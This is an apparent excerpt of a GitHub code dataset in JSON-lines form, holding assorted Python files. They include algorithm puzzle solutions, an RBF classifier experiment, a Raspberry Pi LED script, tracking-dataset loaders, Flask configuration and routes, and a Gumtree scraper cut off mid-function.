--host=https://192.168.1.111:10050\")","repo_name":"englishmarco/pythonProject","sub_path":"productlist_001.py","file_name":"productlist_001.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"14958903500","text":"from itertools import combinations\nn = int(input())\nfood = []\nfor i in range(n):\n food.append(list(map(int,input().split())))\n\nresult = 99999999999\ncombilist = []\nfor j in range(1,n+1):\n combilist.append(combinations(food,j))\nfor j in combilist:\n for k in j:\n s = 1\n b = 0\n for i in k:\n s *= i[0]\n b += i[1]\n result = min(result,abs(s-b))\n\nprint(result)","repo_name":"minseo0228/algorithm-study","sub_path":"Silver/2961.py","file_name":"2961.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"26258028073","text":"import os\n\nISSUER_URL = \"https://shibboleth.illinois.edu\"\nSCOPES = [\"openid\", \"profile\", \"email\", \"offline_access\"] # Other OIDC scopes can be added as needed.\n\n# SESSION\nCUPHD_SECRET_KEY = os.environ[\"CUPHD_SECRET_KEY\"]\n\n# SHIBBOLETH\nCLIENT_ID = os.environ[\"CLIENT_ID\"]\nCLIENT_SECRET = os.environ[\"CLIENT_SECRET\"]\nREDIRECT_URIS = [os.environ[\"REDIRECT_URIS\"]]\nROLE = os.environ[\"ROLE\"]\n\n# REDCAP\nREDCAP_TOKEN = os.environ[\"REDCAP_TOKEN\"]\nREDCAP_API_ENDPOINT = os.environ[\"REDCAP_API_ENDPOINT\"]\n\n# New QIR\nQIR_API_ENDPOINT = os.environ[\"QIR_API_ENDPOINT\"]\nQIR_API_KEY = os.environ[\"QIR_API_KEY\"]\n\n# ACCESS CONTROL\nACCESSCTRL_KEY = os.environ[\"ACCESSCTRL_KEY\"]\nTNC_API_KEY = os.environ[\"TNC_API_KEY\"]\nACCESSCTRL_API_ENDPOINT = os.environ[\"ACCESSCTRL_API_ENDPOINT\"]\nTNC_API_ENDPOINT = os.environ[\"TNC_API_ENDPOINT\"]\n","repo_name":"IllinoisSocialMediaMacroscope/CUPHD-Health-Status-Tool","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"13857015096","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn.base import BaseEstimator\nfrom sklearn.cluster import KMeans\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.preprocessing import MinMaxScaler\n\nclass RBFClassifier(BaseEstimator):\n def __init__(self, k=2, n_neighbors=2, plot=False, n_selection=2):\n self.k = k\n self.n_neighbors = n_neighbors\n self.plot = plot\n self.n_selection = n_selection\n \n def euclidean_distance(self, x1, x2):\n return np.linalg.norm(x1 - x2)\n \n def rbf_hidden_layer(self, X):\n def activation(x, c, s):\n return np.exp(-self.euclidean_distance(x, c) / 2 * (s ** 2))\n \n return np.array([[activation(x, c, s) for (c, s) in zip(self.cluster_, self.std_list_)] for x in X])\n \n def fit(self, X, y):\n def convert_to_one_hot(y, n_classes):\n arr = np.zeros((y.size, n_classes))\n arr[np.arange(y.size), y.astype(np.uint)] = 1\n return arr\n \n kmeans = KMeans(n_clusters=self.k, random_state=0)\n kmeans_prediction = kmeans.fit_predict(X)\n \n if self.plot:\n plt.scatter(X[:, 0], X[:, 1], c=kmeans_prediction)\n plt.savefig('figs/k-means with k=%d.png' % self.k)\n plt.clf()\n\n self.cluster_ = kmeans.cluster_centers_\n cond = self.k if self.n_neighbors > self.k or self.n_neighbors == 0 else self.n_neighbors\n\n # Select N clusters centroids at \"random\"\n if self.n_selection == 0:\n self.std_list_ = np.array([[self.euclidean_distance(c1, c2) for c1 in self.cluster_] for c2 in self.cluster_[: cond]])\n else:\n self.std_list_ = np.sort(np.array([[self.euclidean_distance(c1, c2) for c1 in self.cluster_] for c2 in self.cluster_]))\n \n # Select N clusters centroids by distance (closest last)\n if self.n_selection == 2:\n self.std_list_ = self.std_list_[::-1]\n \n self.std_list_ = self.std_list_[:, : cond]\n \n self.std_list_ = np.mean(self.std_list_, axis=1)\n \n RBF_X = self.rbf_hidden_layer(X)\n\n self.w_ = np.linalg.pinv(RBF_X.T @ RBF_X) @ RBF_X.T @ convert_to_one_hot(y, np.unique(y).size)\n \n rbs_prediction = np.array([np.argmax(x) for x in self.rbf_hidden_layer(X) @ self.w_])\n \n if self.plot:\n plt.scatter(X[:, 0], X[:, 1], c=rbs_prediction)\n plt.savefig('figs/rbs train k=%d, n_neighbors=%f.png' % (self.k, self.n_neighbors))\n plt.clf()\n\n def predict(self, X):\n rbs_prediction = np.array([np.argmax(x) for x in self.rbf_hidden_layer(X) @ self.w_])\n \n if self.plot:\n plt.scatter(X[:, 0], X[:, 1], c=rbs_prediction)\n plt.savefig('figs/rbs predict k=%d, n_neighbors=%f.png' % (self.k, self.n_neighbors))\n plt.clf()\n \n return rbs_prediction\n \n def get_params(self, deep=True):\n return {\"k\": self.k, \"n_neighbors\": self.n_neighbors, \"plot\": self.plot, \"n_selection\": self.n_selection}\n\ndata = np.loadtxt(open(\"dataset.csv\", \"rb\"), delimiter=\",\", skiprows=1)\n\nfor i in range(2):\n x = data[:, i]\n hist, bins = np.histogram(x)\n plt.plot(bins[:hist.size], hist / np.sum(hist))\n print(i, 'min %.2f max %.2f mean %.2f std %.2f' %(np.min(x), np.max(x), np.mean(x), np.std(x)))\n\nplt.xlabel('Values')\nplt.ylabel('Proportions')\nplt.savefig('Histogram before normalization.png')\nplt.clf()\n\nscaler = MinMaxScaler()\nscaler.fit(data[:, 0:2])\n\nX = scaler.transform(data[:, 0:2])\n\nxTrain, xTest, yTrain, yTest = train_test_split(X, data[:, 2], test_size = 0.2, random_state = 0)\n\nfor i in range(2):\n x = xTrain[:, i]\n hist, bins = np.histogram(x)\n plt.plot(bins[:hist.size], hist / np.sum(hist))\n print(i, 'min %.2f max %.2f mean %.2f std %.2f' %(np.min(x), np.max(x), np.mean(x), np.std(x)))\n\nplt.xlabel('Values')\nplt.ylabel('Proportions')\nplt.savefig('Histogram after normalization.png')\nplt.clf()\n\nplt.scatter(X[:, 0], X[:, 1], c=data[:, 2])\nplt.savefig('correct result.png')\nplt.clf()\n\n\n# See how f1-score goes for k=50, trying different N selection methods\nk = 50\n\nfor n_selection in range(3):\n results = []\n\n for n in range(2, k + 1):\n clf = RBFClassifier(k, n, False, n_selection)\n clf.fit(xTrain, yTrain)\n results.append(classification_report(yTest, clf.predict(xTest), output_dict=True)['weighted avg']['f1-score'])\n \n plt.plot(results)\n plt.ylabel('f1-score')\n plt.xlabel('N')\n plt.savefig('f1-score for k = %d, N from 2 to %d selected at %s.png' % (k, k, ('random' if n_selection == 0 else ('sorted' if n_selection == 1 else 'sorted backwards'))))\n plt.clf()\n \n# Now that we know the best N selection method, let's take a look at how f1-score goes for different amount of neurons at the hidden layer\nresults = []\n\nfor k in range(2, 51):\n clf = RBFClassifier(k, 2, True)\n clf.fit(xTrain, yTrain)\n results.append(classification_report(yTest, clf.predict(xTest), output_dict=True)['weighted avg']['f1-score'])\n #print(confusion_matrix(yTest, clf.predict(xTest)))\n \nplt.plot(results)\nplt.ylabel('f1-score')\nplt.xlabel('k')\nplt.savefig('f1-score for k = 2...50, N = 2 (furthest neighbor).png')\nplt.clf()\n","repo_name":"fredericoschardong/RBFNN","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"10401545848","text":"# 2 LEDs where one blinks occasionally\n# for a Jack O Lantern's eyes\n\nimport RPi.GPIO as GPIO\nimport time\n\n# Configure the Pi to use the BCM (Broadcom) pin names, rather than the\n# pin positions\nGPIO.setmode(GPIO.BCM)\nleft_eye = 18\nright_eye = 23\nBLINK_INTERVAL = 20 # seconds\nOPEN_INTERVAL = 15 # seconds\n\nGPIO.setup(left_eye, GPIO.OUT)\nGPIO.setup(right_eye, GPIO.OUT)\n \ntry:\n # Now just blink both\n while True:\n # Turn on both eyes\n GPIO.output(left_eye, True)\n GPIO.output(right_eye, True)\n time.sleep(OPEN_INTERVAL)\n GPIO.output(left_eye, False)\n GPIO.output(right_eye, False)\n time.sleep(BLINK_INTERVAL)\nfinally:\n print(\"Cleaning up\")\n GPIO.cleanup()\n","repo_name":"scorpiodawg/jack-o-raspi","sub_path":"eye_blink.py","file_name":"eye_blink.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17388164567","text":"import os\nimport cv2\nimport json\nimport numpy as np\n\nfrom glob import glob\nfrom tqdm import tqdm\nfrom PIL import Image\n\nfrom .dataset import Dataset\nfrom .video import Video\n\nclass VOTVideo(Video):\n \"\"\"\n Args:\n name: video name\n root: dataset root\n video_dir: video directory\n init_rect: init rectangle\n img_names: image names\n gt_rect: groundtruth rectangle\n camera_motion: camera motion tag\n illum_change: illum change tag\n motion_change: motion change tag\n size_change: size change\n occlusion: occlusion\n \"\"\"\n def __init__(self, name, root, video_dir, init_rect, img_names, gt_rect,\n camera_motion, illum_change, motion_change, size_change, occlusion, load_img=False):\n super(VOTVideo, self).__init__(name, root, video_dir,\n init_rect, img_names, gt_rect, None, load_img)\n self.tags= {'all': [1] * len(gt_rect)}\n self.tags['camera_motion'] = camera_motion\n self.tags['illum_change'] = illum_change\n self.tags['motion_change'] = motion_change\n self.tags['size_change'] = size_change\n self.tags['occlusion'] = occlusion\n\n # TODO\n # if len(self.gt_traj[0]) == 4:\n # self.gt_traj = [[x[0], x[1], x[0], x[1]+x[3]-1,\n # x[0]+x[2]-1, x[1]+x[3]-1, x[0]+x[2]-1, x[1]]\n # for x in self.gt_traj]\n\n # empty tag\n all_tag = [v for k, v in self.tags.items() if len(v) > 0 ]\n self.tags['empty'] = np.all(1 - np.array(all_tag), axis=1).astype(np.int32).tolist()\n # self.tags['empty'] = np.all(1 - np.array(list(self.tags.values())),\n # axis=1).astype(np.int32).tolist()\n\n self.tag_names = list(self.tags.keys())\n if not load_img:\n img_name = os.path.join(os.path.abspath(root), os.path.abspath(self.img_names[0]))\n img = np.array(Image.open(img_name), np.uint8)\n self.width = img.shape[1]\n self.height = img.shape[0]\n\n def select_tag(self, tag, start=0, end=0):\n if tag == 'empty':\n return self.tags[tag]\n return self.tags[tag][start:end]\n\n def load_tracker(self, path, tracker_names=None, store=True):\n \"\"\"\n Args:\n path(str): path to result\n tracker_name(list): name of tracker\n \"\"\"\n if not tracker_names:\n tracker_names = [x.split('/')[-1] for x in glob(path)\n if os.path.isdir(x)]\n if isinstance(tracker_names, str):\n tracker_names = [tracker_names]\n for name in tracker_names:\n traj_files = glob(os.path.join(path, name, 'baseline', self.name, '*0*.txt'))\n if len(traj_files) == 15:\n traj_files = traj_files\n else:\n traj_files = traj_files[0:1]\n pred_traj = []\n for traj_file in traj_files:\n with open(traj_file, 'r') as f:\n traj = [list(map(float, x.strip().split(',')))\n for x in f.readlines()]\n pred_traj.append(traj)\n if store:\n self.pred_trajs[name] = pred_traj\n else:\n return pred_traj\n\nclass VOTDataset(Dataset):\n \"\"\"\n Args:\n name: dataset name, should be 'VOT2018', 'VOT2016', 'VOT2019'\n dataset_root: dataset root\n load_img: wether to load all imgs\n \"\"\"\n def __init__(self, name, dataset_root, load_img=False):\n super(VOTDataset, self).__init__(name, dataset_root)\n with open(os.path.join(dataset_root, name+'.json'), 'r') as f:\n meta_data = json.load(f)\n\n # load videos\n pbar = tqdm(meta_data.keys(), desc='loading '+name, ncols=100)\n self.videos = {}\n for video in pbar:\n pbar.set_postfix_str(video)\n self.videos[video] = VOTVideo(video,\n dataset_root,\n meta_data[video]['video_dir'],\n meta_data[video]['init_rect'],\n meta_data[video]['img_names'],\n meta_data[video]['gt_rect'],\n meta_data[video]['camera_motion'],\n meta_data[video]['illum_change'],\n meta_data[video]['motion_change'],\n meta_data[video]['size_change'],\n meta_data[video]['occlusion'],\n load_img=load_img)\n\n self.tags = ['all', 'camera_motion', 'illum_change', 'motion_change',\n 'size_change', 'occlusion', 'empty']\n\n\nclass VOTLTVideo(Video):\n \"\"\"\n Args:\n name: video name\n root: dataset root\n video_dir: video directory\n init_rect: init rectangle\n img_names: image names\n gt_rect: groundtruth rectangle\n \"\"\"\n def __init__(self, name, root, video_dir, init_rect, img_names,\n gt_rect, load_img=False):\n super(VOTLTVideo, self).__init__(name, root, video_dir,\n init_rect, img_names, gt_rect, None, load_img)\n self.gt_traj = [[0] if np.isnan(bbox[0]) else bbox\n for bbox in self.gt_traj]\n if not load_img:\n img_name = os.path.join(root, self.img_names[0])\n img = np.array(Image.open(img_name), np.uint8)\n self.width = img.shape[1]\n self.height = img.shape[0]\n self.confidence = {}\n\n def load_tracker(self, path, tracker_names=None, store=True):\n \"\"\"\n Args:\n path(str): path to result\n tracker_name(list): name of tracker\n \"\"\"\n if not tracker_names:\n tracker_names = [x.split('/')[-1] for x in glob(path)\n if os.path.isdir(x)]\n if isinstance(tracker_names, str):\n tracker_names = [tracker_names]\n for name in tracker_names:\n traj_file = os.path.join(path, name, 'longterm',\n self.name, self.name+'_001.txt')\n with open(traj_file, 'r') as f:\n traj = [list(map(float, x.strip().split(',')))\n for x in f.readlines()]\n if store:\n self.pred_trajs[name] = traj\n confidence_file = os.path.join(path, name, 'longterm',\n self.name, self.name+'_001_confidence.value')\n with open(confidence_file, 'r') as f:\n score = [float(x.strip()) for x in f.readlines()[1:]]\n score.insert(0, float('nan'))\n if store:\n self.confidence[name] = score\n return traj, score\n\nclass VOTLTDataset(Dataset):\n \"\"\"\n Args:\n name: dataset name, 'VOT2018-LT'\n dataset_root: dataset root\n load_img: wether to load all imgs\n \"\"\"\n def __init__(self, name, dataset_root, load_img=False):\n super(VOTLTDataset, self).__init__(name, dataset_root)\n with open(os.path.join(dataset_root, name+'.json'), 'r') as f:\n meta_data = json.load(f)\n\n # load videos\n pbar = tqdm(meta_data.keys(), desc='loading '+name, ncols=100)\n self.videos = {}\n for video in pbar:\n pbar.set_postfix_str(video)\n self.videos[video] = VOTLTVideo(video,\n dataset_root,\n meta_data[video]['video_dir'],\n meta_data[video]['init_rect'],\n meta_data[video]['img_names'],\n meta_data[video]['gt_rect'])\n\n","repo_name":"STVIR/pysot","sub_path":"toolkit/datasets/vot.py","file_name":"vot.py","file_ext":"py","file_size_in_byte":7868,"program_lang":"python","lang":"en","doc_type":"code","stars":4297,"dataset":"github-code","pt":"70"} +{"seq_id":"27512025222","text":"import os\n\nimport numpy as np\nfrom skimage import io\nimport random as rnd\n\n\nclass ImagesDataset:\n def __init__(self, path, train_percent, shuffle_rounds, reversed_colors = False, dbg=False):\n self.x_train = list()\n self.y_train = list()\n self.x_test = list()\n self.y_test = list()\n self.path = path\n self.tp = train_percent\n self.shuffle_rounds = shuffle_rounds\n self.__create_dataset(reversed_colors, dbg)\n\n def __create_dataset(self, reversed_colors: bool, dbg: bool):\n folders = [e for e in os.listdir(self.path)]\n files = [list() for p in range(len(folders))]\n for fold_id in range(len(folders)):\n for fl in os.listdir(self.path + folders[fold_id]):\n files[fold_id].append(fl)\n classes = list(np.linspace(0, len(folders) - 1, len(folders)))\n x_raw = [list() for par in range(len(classes))]\n y_raw = [list() for par in range(len(classes))]\n for class_id in range(len(classes)):\n for sample_id in range(len(files[class_id])):\n x_raw[class_id].append(np.asarray(io.imread(self.path + folders[class_id] + \"\\\\\"\n + files[class_id][sample_id])))\n x_raw[class_id][sample_id] = x_raw[class_id][sample_id][:, :, 0:3]\n y_raw[class_id].append(class_id)\n\n if dbg:\n print(\"Pre-transform data:\")\n print(\"x shape:\", np.shape(x_raw))\n print(\"y shape:\", np.shape(y_raw))\n print(\"y:\", y_raw)\n\n x_tmp = list(np.concatenate(x_raw))\n y_tmp = list()\n for class_id in range(len(classes)):\n for sample_id in range(len(x_raw[class_id])):\n y_tmp.append(y_raw[class_id])\n y_raw = [elem for elem in y_tmp]\n x_raw = [elem for elem in x_tmp]\n\n if dbg:\n print(\"Post-transform data:\")\n print(\"x shape:\", np.shape(x_raw))\n print(\"y shape:\", np.shape(y_raw))\n print(\"y:\", y_raw)\n\n self.x_train, self.y_train, self.x_test, self.y_test = self.__split(x_raw, y_raw)\n\n self.x_train, self.y_train = self.__shuffle(self.x_train, self.y_train)\n self.x_test, self.y_test = self.__shuffle(self.x_test, self.y_test)\n\n self.x_train = list(np.array(self.x_train) / 255.0)\n self.x_test = list(np.array(self.x_test) / 255.0)\n\n self.x_train = self.__reverse_images(self.x_train, reversed_colors)\n self.x_test = self.__reverse_images(self.x_test, reversed_colors)\n\n if dbg:\n print(\"Final dataset\")\n print(\"x_train shape: \", np.shape(self.x_train))\n print(\"y_train shape: \", np.shape(self.y_train))\n print(\"x_test shape: \", np.shape(self.x_test))\n print(\"y_test shape: \", np.shape(self.y_test))\n print(\"y_train: \", self.y_train)\n print(\"y_test: \", self.y_test)\n\n def __reverse_images(self, images, reversed_colors):\n for image in images:\n for row in image:\n for pixel in row:\n for c_id in range(len(pixel)):\n if reversed_colors:\n pixel[c_id] = 1 if pixel[c_id] < 0.5 else 0\n else:\n pixel[c_id] = 1 if pixel[c_id] > 0.5 else 0\n\n return images\n\n def __split(self, x, y):\n h_len = int(len(y) / 2)\n x_train = x[0: int(h_len * self.tp)]\n x_train.extend(list(x[h_len: int(h_len + h_len * self.tp)]))\n y_train = list(y[0: int(h_len * self.tp)])\n y_train.extend(list(y[h_len: int(h_len + h_len * self.tp)]))\n x_test = x[int(h_len * self.tp): h_len]\n x_test.extend(x[int(h_len + h_len * self.tp): h_len * 2])\n y_test = y[int(h_len * self.tp): h_len]\n y_test.extend(y[int(h_len + h_len * self.tp): h_len * 2])\n\n return x_train, y_train, x_test, y_test\n\n def __shuffle(self, x, y):\n for sample_id in range(self.shuffle_rounds):\n first_id = rnd.randint(0, len(x) - 1)\n second_id = rnd.randint(0, len(x) - 1)\n\n tmp = x[first_id]\n x[first_id] = x[second_id]\n x[second_id] = tmp\n\n tmp = y[first_id]\n y[first_id] = y[second_id]\n y[second_id] = tmp\n\n return x, y\n\n","repo_name":"KurArtem/NN4","sub_path":"datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":4383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12057856853","text":"\"\"\"\n要求尽可能的优化复杂度\n\"\"\"\n\n\nclass Solution:\n def longestPalindrome(self, s: str) -> str:\n # 1. 特殊情况:数组为空\n if not s:\n return \"\"\n\n # 2. 初始化\n max_len = 1\n res = s[0]\n n = len(s)\n\n # 定义中心扩散函数\n def center(s, i, j):\n while 0 <= i and j < len(s) and s[i] == s[j]:\n i -= 1\n j += 1\n return s[i + 1: j], j - i - 1\n\n for i in range(n):\n odd_str, odd_len = center(s, i, i)\n even_str, even_len = center(s, i, i + 1)\n if odd_len > even_len and odd_len > max_len:\n max_len = odd_len\n res = odd_str\n elif even_len > odd_len and even_len > max_len:\n max_len = even_len\n res = even_str\n return res\n\n","repo_name":"guohaoyuan/algorithms-for-work","sub_path":"leetcode/高频面试/我和我的小伙伴们的面试题/中智行笔试题/5. 最长回文子串/longestPalindrome.py","file_name":"longestPalindrome.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"72850133988","text":"import sys\nimport scanner\nimport typing\n\n\ndef print_function_details(project_name, functions_to_analyse: typing.List[str],\n language: str = 'c-cpp'):\n report_generator = scanner.get_all_reports([project_name], 2, language=language)\n\n project, date_as_str, introspector_project = next(report_generator)\n all_functions = introspector_project.proj_profile.get_all_functions()\n\n for function_name in functions_to_analyse:\n if function_name not in all_functions:\n print(f\"Could not find {function_name} in the project\")\n continue\n\n function_profile = all_functions[function_name]\n reached_by_fuzzer_count = len(function_profile.reached_by_fuzzers)\n code_coverage = introspector_project.proj_profile.get_func_hit_percentage(\n function_name)\n\n print(\"%s\" % (function_name))\n print(\" Reached by %d fuzzers [%s]\" %\n (reached_by_fuzzer_count, str(\n function_profile.reached_by_fuzzers)))\n print(\" Code coverage: %f\" % (code_coverage))\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 3:\n print(\n \"Usage: python3 function_inspector.py project_name function_name language\")\n sys.exit(0)\n project_name = sys.argv[1]\n function_name = sys.argv[2]\n language = None\n try:\n language = sys.argv[3]\n except IndexError:\n language = 'c-cpp'\n print_function_details(project_name, [function_name], language=language)\n","repo_name":"ossf/fuzz-introspector","sub_path":"tools/oss-fuzz-scanner/function_inspector.py","file_name":"function_inspector.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":326,"dataset":"github-code","pt":"70"} +{"seq_id":"35545844873","text":"\"\"\"Result Path Provider Module.\"\"\"\n\n# clean\nimport sys\nimport os\nimport datetime\nimport enum\nfrom typing import Any, Optional\n\nfrom hisim.sim_repository_singleton import SingletonMeta\n\n\nclass ResultPathProviderSingleton(metaclass=SingletonMeta):\n\n \"\"\"ResultPathProviderSingleton class.\n\n According to your storting options and your input information a result path is created.\n \"\"\"\n\n def __init__(self,):\n \"\"\"Initialize the class.\"\"\"\n self.base_path: Optional[str] = None\n self.model_name: Optional[str] = None\n self.variant_name: Optional[str] = None\n self.hash_number: Optional[str] = None\n self.sampling_mode: Optional[str] = None\n self.sorting_option: Any = SortingOptionEnum.FLAT\n self.time_resolution_in_seconds: Optional[int] = None\n self.simulation_duration_in_days: Optional[int] = None\n self.datetime_string: str = datetime.datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n\n def set_important_result_path_information(\n self,\n module_directory: str,\n model_name: str,\n variant_name: Optional[str],\n hash_number: Optional[int],\n sorting_option: Any,\n sampling_mode: Optional[str] = None,\n ) -> None:\n \"\"\"Set important result path information.\"\"\"\n self.set_base_path(module_directory=module_directory)\n self.set_model_name(model_name=model_name)\n self.set_variant_name(variant_name=variant_name)\n self.set_sorting_option(sorting_option=sorting_option)\n self.set_hash_number(hash_number=hash_number)\n self.set_sampling_mode(sampling_mode=sampling_mode)\n\n def set_base_path(self, module_directory: str) -> None:\n \"\"\"Set base path.\"\"\"\n self.base_path = os.path.join(module_directory, \"results\")\n\n def set_model_name(self, model_name: str) -> None:\n \"\"\"Set model name.\"\"\"\n self.model_name = model_name\n\n def set_variant_name(self, variant_name: Optional[str]) -> None:\n \"\"\"Set variant name.\"\"\"\n if variant_name is None:\n variant_name = \"\"\n self.variant_name = variant_name\n\n def set_hash_number(self, hash_number: Optional[int]) -> None:\n \"\"\"Set hash number.\"\"\"\n if hash_number is None:\n hash_number_str = \"\"\n else:\n hash_number_str = str(hash_number)\n self.hash_number = hash_number_str\n\n def set_sampling_mode(self, sampling_mode: Optional[str]) -> None:\n \"\"\"Set sampling mode.\"\"\"\n self.sampling_mode = sampling_mode\n\n def set_sorting_option(self, sorting_option: Any) -> None:\n \"\"\"Set sorting option.\"\"\"\n self.sorting_option = sorting_option\n\n def set_time_resolution(self, time_resolution_in_seconds: int) -> None:\n \"\"\"Set time resolution.\"\"\"\n self.time_resolution_in_seconds = time_resolution_in_seconds\n\n def set_simulation_duration(self, simulation_duration_in_days: int) -> None:\n \"\"\"Set simulation duration.\"\"\"\n self.simulation_duration_in_days = simulation_duration_in_days\n\n def get_result_directory_name(self) -> Any:\n \"\"\"Get the result directory path.\"\"\"\n\n if (\n self.base_path is not None\n and self.model_name is not None\n and self.variant_name is not None\n and self.datetime_string is not None\n and self.hash_number is not None\n ):\n if self.sorting_option == SortingOptionEnum.DEEP:\n path = os.path.join(\n self.base_path,\n self.model_name,\n self.variant_name,\n self.datetime_string,\n )\n elif (\n self.sorting_option\n == SortingOptionEnum.MASS_SIMULATION_WITH_INDEX_ENUMERATION\n ):\n # schauen ob verzeichnis schon da und aufsteigende nummer anhängen\n idx = 1\n\n if self.sampling_mode is not None:\n path = os.path.join(\n self.base_path,\n self.model_name,\n self.sampling_mode,\n self.variant_name + \"_\" + str(idx),\n )\n while os.path.exists(path):\n idx = idx + 1\n path = os.path.join(\n self.base_path,\n self.model_name,\n self.sampling_mode,\n self.variant_name + \"_\" + str(idx),\n )\n else:\n path = os.path.join(\n self.base_path,\n self.model_name,\n self.variant_name + \"_\" + str(idx),\n )\n while os.path.exists(path):\n idx = idx + 1\n path = os.path.join(\n self.base_path,\n self.model_name,\n self.variant_name + \"_\" + str(idx),\n )\n elif (\n self.sorting_option\n == SortingOptionEnum.MASS_SIMULATION_WITH_HASH_ENUMERATION\n ):\n if self.sampling_mode is not None:\n path = os.path.join(\n self.base_path,\n self.model_name,\n self.sampling_mode,\n self.variant_name + \"_\" + self.hash_number,\n )\n else:\n path = os.path.join(\n self.base_path,\n self.model_name,\n self.variant_name + \"_\" + self.hash_number,\n )\n\n elif self.sorting_option == SortingOptionEnum.FLAT:\n path = os.path.join(\n self.base_path,\n self.model_name + \"_\" + self.variant_name + self.datetime_string,\n )\n\n check_path_length(path=path)\n return path\n\n return None\n\n\ndef check_path_length(path: str) -> None:\n \"\"\"Make sure that path name does not get too long for Windows.\"\"\"\n\n character_limit_according_to_windows = 256\n # check if the system is windows\n is_windows = sys.platform.startswith(\"win\")\n if is_windows and len(path) >= character_limit_according_to_windows:\n raise NameError(\n f\"The path {path} exceeds the limit of 256 characters which is the limit for Windows. Please make your path shorter.\"\n )\n\n\nclass SortingOptionEnum(enum.Enum):\n\n \"\"\"A SortingOptionEnum class.\"\"\"\n\n DEEP = 1\n MASS_SIMULATION_WITH_INDEX_ENUMERATION = 2\n MASS_SIMULATION_WITH_HASH_ENUMERATION = 3\n FLAT = 4\n","repo_name":"FZJ-IEK3-VSA/HiSim","sub_path":"hisim/result_path_provider.py","file_name":"result_path_provider.py","file_ext":"py","file_size_in_byte":6811,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"70"} +{"seq_id":"4738436796","text":"import os\nimport json\nfrom models import XMLToMetaDB\nfrom config import Config\n\ndb_base_path = Config.db_base_path\n\n\nif __name__ == \"__main__\":\n for year in [\"2010\",\"2011\",\"2012\",\"2013\",\"2014\",\"2015\",\"2016\",\"2017\",\"2018\",\"2019\", \"2020\", \"2021\"]:\n print(f\"{year} is started\")\n\n if year == \"2020\" or year == \"2021\":\n root_path = \"/home/weladmin/Desktop/smc_data\"\n db_path = os.path.join(db_base_path, f\"smc_metadata_v04.db\")\n else:\n root_path = \"/data/smc_data\"\n db_path = os.path.join(db_base_path, f\"smc_metadata_v04.db\")\n\n xml_to_db = XMLToMetaDB(db_path, root_path)\n xml_to_db.db_connect()\n failed_logs = xml_to_db.parsing(year)\n xml_to_db.db_close()\n\n print(f\"Failed parsing num is : {len(failed_logs['parsing_failed'])}\")\n print(f\"Failed parsing num is : {len(failed_logs['save_failed'])}\")\n with open(f\"/data/datadisk/wellysis/smc/logs/failed_xmlparsing_{year}.json\", \"w\") as f:\n json.dump(failed_logs, f)\n","repo_name":"sdrft1251/PersonalStudy","sub_path":"pipeline/processing/SMC_pipe/parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"13535369100","text":"from flask import Blueprint, jsonify\n\nfrom controller.controller import Controller\n\n\ndef register_images_bp(controller: Controller):\n images_bp = Blueprint(\"images\", __name__)\n\n @images_bp.route(\"/\", methods=[\"GET\"])\n def get_images():\n try:\n images = controller.get_images()\n return (\n jsonify(images),\n 200,\n ) # This will now return an object with a 'images' key\n except Exception as e:\n return jsonify({\"error\": str(e)}), 500\n\n return images_bp\n","repo_name":"nohns/semesterproject3","sub_path":"source/embedded/api/images/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"74725588387","text":"from bs4 import BeautifulSoup\nfrom datetime import datetime\nimport requests\nfrom requests.packages.urllib3.util.retry import Retry\nfrom requests.adapters import HTTPAdapter\nimport re\nimport pymysql\nfrom tqdm import tqdm\nfrom warnings import filterwarnings\ntqdm.monitor_interval = 0\nfilterwarnings('ignore', category = pymysql.Warning)\n\n#Set Retries within Requests\ns = requests.Session()\nretries = Retry(total=5, backoff_factor=0.1, status_forcelist=[ 500, 502, 503, 504])\ns.mount('http://', HTTPAdapter(max_retries=retries))\n\n\nclass Item:\n def __init__(self, url):\n #URL split on \"/\" gives ['', 's-ad', location, category, name, randomNumber]\n self.time = datetime.now().time()\n self.url = url\n self.location = url.split(\"/\")[4]\n self.category = url.split(\"/\")[5]\n self.name = url.split(\"/\")[6]\n #######################################Fix This(url changed, extra /'s)##########################\n\n def timeSinceQuery(self):\n \"\"\" Find time between object creation and now\"\"\"\n return self.time - datetime.now().time()\n\n def scrape(self):\n \n \"\"\" Scrape the items URL for price and date listed\n Returns itemPrice, itemListDate\n \"\"\"\n page = s.get(\"https://www.gumtree.com.au\"+self.url)\n print(\"https://www.gumtree.com.au\"+self.url)\n\n if page.status_code != 200:\n print(page.status_code)\n soup = BeautifulSoup(page.content, 'html.parser')\n\n\n price = soup.find_all(class_=\"user-ad-price__price\")[0].contents[0]\n\n adAttrVals = soup.find_all(class_=\"vip-ad-attributes__value\")\n adAttrName = soup.find_all(class_=\"vip-ad-attributes__name\")\n \n for i in range(0,len(adAttrName)):\n if adAttrVals[i].contents[0] == \"Date Listed\":\n listDate = adAttrName[i].contents[0]\n \n return 